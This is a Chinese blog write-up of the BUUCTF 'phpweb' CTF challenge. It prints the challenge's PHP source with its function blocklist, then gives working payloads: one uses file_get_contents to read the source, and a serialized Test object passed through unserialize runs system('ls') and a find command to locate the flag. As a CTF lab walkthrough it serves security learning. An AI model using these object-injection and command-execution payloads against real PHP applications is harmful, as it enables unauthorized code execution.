BUUCTF之[网鼎杯 2020 朱雀组]phpweb ------- 反序列化

BUUCTF之[网鼎杯 2020 朱雀组]phpweb ------- 反序列化
题目
Warning: date(): It is not safe to rely on the system’s timezone settings. You are required to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the timezone ‘UTC’ for now, but please set date.timezone to select your timezone. in /var/www/html/index.php on line 24
2021-06-25 09:41:34 am
在这里插入图片描述
一开始用BurpSuite抓包的时候,我还以为是SQL注入。结果好一段时间都做不出来。后来看了别人的WP发现根本就不是…
在这里插入图片描述
这里需要用的file_get_contents来读取index.php文件
所以payload:func=file_get_contents&p=index.php
在这里插入图片描述

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
?>

好吧,这是个反序列化的题目
其中要注意的是这里有两个func的变量,其中第一个func会被过滤一些信息,但是第二个不会!

if (!in_array($func,$disable_fun))

首先我们需要用system('ls')来读取当前目录下有什么文件,但是第一个$func过滤了system这个函数,却没有过滤unserialize
所以payload::func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:2:"ls";}
这样就可以读取当前目录下的文件了
在这里插入图片描述
所以,需要尝试搜索一下flag文件!
payload:func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:19:"find / -name *flag*";}
注意,这里运行很慢,因为他找这个flag相关的文件需要花很多时间。(一开始我还以为我写错了代码)
在这里插入图片描述
在这里插入图片描述
另外,关于读取flag还有另外一种写法:func=readfile&p=/tmp/flagoefiu4r93
理由是第一个func没有过滤readfile这个函数,所以可以直接读取!
在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值